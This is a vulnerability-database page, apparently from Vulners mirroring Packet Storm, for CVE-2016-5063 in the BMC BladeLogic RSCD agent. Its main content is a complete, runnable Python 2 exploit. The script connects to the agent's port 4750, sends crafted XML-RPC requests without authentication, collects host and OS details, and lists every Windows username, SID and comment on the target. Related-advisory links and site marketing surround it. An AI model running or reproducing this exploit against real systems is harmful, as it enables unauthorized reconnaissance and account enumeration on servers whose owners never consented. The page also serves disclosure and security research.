Lucene search
K

BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure

🗓️ 30 Jan 2018 00:00:00Reported by Paul TaylorType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 75 Views

BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure Exploit retrieves Windows system users dat

Related
Code
ReporterTitlePublishedViews
Family
0day.today
BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure Exploit
30 Jan 201800:00
zdt
Tenable Nessus
BMC Server Automation RSCD Agent ACL Bypass
10 May 201600:00
nessus
CNVD
BMC Server Automation Authentication Bypass Vulnerability
3 Nov 201600:00
cnvd
CVE
CVE-2016-5063
2 May 201714:00
cve
Cvelist
CVE-2016-5063
2 May 201714:00
cvelist
Exploit DB
BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure
30 Jan 201800:00
exploitdb
exploitpack
BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure
30 Jan 201800:00
exploitpack
NVD
CVE-2016-5063
2 May 201714:59
nvd
OSV
CVE-2016-5063
2 May 201714:59
osv
Prion
Authorization
2 May 201714:59
prion
Rows per page
`# Exploit Title: BMC BladeLogic RSCD agent get Windows users  
# Filename: BMC_winUsers.py  
# Github: https://github.com/bao7uo/bmc_bladelogic  
# Date: 2018-01-27  
# Exploit Author: Paul Taylor / Foregenix Ltd  
# Website: http://www.foregenix.com/blog  
# Version: BMC RSCD agent 8.3.00.64  
# CVE: CVE-2016-5063  
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-windows-rscd-agent-vulnerability-in-bmc-server-automation-cve-2016-5063  
# Tested on: 8.3.00.64  
  
#!/usr/bin/python2  
  
# Retrieving Windows system users with BMC BladeLogic RSCD agent  
# Tested against v8.3.00.64 (Windows version)  
# CVE-2016-5063  
  
# Author: Paul Taylor / Foregenix Ltd  
# github.com/bao7uo/bmc_bladelogic  
# www.foregenix.com/blog  
  
# Credits:  
# Converted to work against Windows version  
# from the Linux BMC getUsers exploit by ERNW  
  
import socket  
import ssl  
import sys  
import requests  
import argparse  
import xml.etree.ElementTree as ET  
import xml.dom.minidom  
import httplib  
from requests.packages.urllib3 import PoolManager  
from requests.packages.urllib3.connection import HTTPConnection  
from requests.packages.urllib3.connectionpool import HTTPConnectionPool  
from requests.adapters import HTTPAdapter  
  
  
class MyHTTPConnection(HTTPConnection):  
def __init__(self, unix_socket_url, timeout=60):  
HTTPConnection.__init__(self, HOST, timeout=timeout)  
self.unix_socket_url = unix_socket_url  
self.timeout = timeout  
  
def connect(self):  
self.sock = wrappedSocket  
  
  
class MyHTTPConnectionPool(HTTPConnectionPool):  
def __init__(self, socket_path, timeout=60):  
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)  
self.socket_path = socket_path  
self.timeout = timeout  
  
def _new_conn(self):  
return MyHTTPConnection(self.socket_path, self.timeout)  
  
  
class MyAdapter(HTTPAdapter):  
def __init__(self, timeout=60):  
super(MyAdapter, self).__init__()  
self.timeout = timeout  
  
def get_connection(self, socket_path, proxies=None):  
return MyHTTPConnectionPool(socket_path, self.timeout)  
  
def request_url(self, request, proxies):  
return request.path_url  
  
  
def optParser():  
parser = argparse.ArgumentParser(description="Retrieving system users with BMC BladeLogic Server Automation RSCD agent")  
parser.add_argument("host", help="IP address of a target system")  
parser.add_argument("-p", "--port", type=int, default=4750, help="TCP port (default: 4750)")  
opts = parser.parse_args()  
return opts  
  
  
init = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2015-11-19-16-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""  
getVersion = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getVersion</methodName><params/></methodCall>"""  
getWindowsUsers = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteUser.getUserContents</methodName><params><param><value><struct><member><name>typeName</name><value>OS</value></member><member><name>host</name><value>0.0.0.0</value></member><member><name>container</name><value><array><data><value><struct><member><name>string</name><value></value></member><member><name>value</name><value><struct><member><name>longValue</name><value><ex:i8>1</ex:i8></value></member><member><name>kind</name><value><i4>1</i4></value></member></struct></value></member></struct></value></data></array></value></member><member><name>path</name><value>/</value></member></struct></value></param><param><value><i4>1</i4></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param></params></methodCall>"""  
getHostOverview = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getHostOverview</methodName></methodCall>"""  
  
options = optParser()  
PORT = options.port  
HOST = options.host  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((HOST, PORT))  
  
sock.sendall("TLSRPC")  
  
wrappedSocket = ssl.wrap_socket(sock)  
  
adapter = MyAdapter()  
s = requests.session()  
s.mount("http://", adapter)  
  
print "Sending intro..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=init)  
  
print "Getting version..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getVersion)  
  
rootVersion = ET.fromstring(r.content)  
print "========================="  
print "Major version : " + rootVersion[0][0][0][0][0][1].text  
print "Minor version : " + rootVersion[0][0][0][0][1][1].text  
print "Patch version : " + rootVersion[0][0][0][0][2][1].text  
print "Platform version: " + rootVersion[0][0][0][0][3][1].text  
print "=========================\n"  
  
print "Getting host overview..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getHostOverview)  
  
rootOverview = ET.fromstring(r.content)  
print rootOverview[0][0][0][0][12][1].text  
  
linux = False  
  
if rootOverview[0][0][0][0][0][1].text is not None:  
linux = True  
  
print "=================================================="  
print "Agent instal dir: " + rootOverview[0][0][0][0][1][1].text  
print "Licensed? : " + ("false" if (int(rootOverview[0][0][0][0][2][1][0].text) == 0) else "true")  
print "Repeater? : " + ("false" if (int(rootOverview[0][0][0][0][12][1][0].text) == 0) else "true")  
print "Hostname : " + rootOverview[0][0][0][0][6][1].text  
print "Netmask : " + rootOverview[0][0][0][0][13][1].text  
print "CPU architecture: " + rootOverview[0][0][0][0][10][1].text  
print "Platform (OS) : " + rootOverview[0][0][0][0][14][1].text  
print "OS version : " + rootOverview[0][0][0][0][15][1].text  
print "OS architecture : " + rootOverview[0][0][0][0][3][1].text  
print "OS release : " + rootOverview[0][0][0][0][11][1].text  
print "Patch level : " + rootOverview[0][0][0][0][7][1].text  
print "==================================================\n"  
  
print "Sending request for users...\n"  
  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getWindowsUsers)  
  
with open("./users.xml", "w") as text_file:  
text_file.write(r.content)  
  
root = ET.parse('./users.xml').getroot()  
count = 0  
ind = 1  
while ind:  
try:  
ind = root[0][0][0][0][0][count][0][14][1].text  
except IndexError:  
pass  
break  
count += 1  
  
print "Number of users found: " + str(count) + "\n"  
for i in range(0, count):  
print "Username: "+ root[0][0][0][0][0][i][0][14][1].text  
print "SID: " + root[0][0][0][0][0][i][0][12][1].text  
print "Comment: " + root[0][0][0][0][0][i][0][2][1].text  
  
print "........................\n"  
  
  
wrappedSocket.close()  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jan 2018 00:00Current
6Medium risk
Vulners AI Score6
EPSS0.16862
75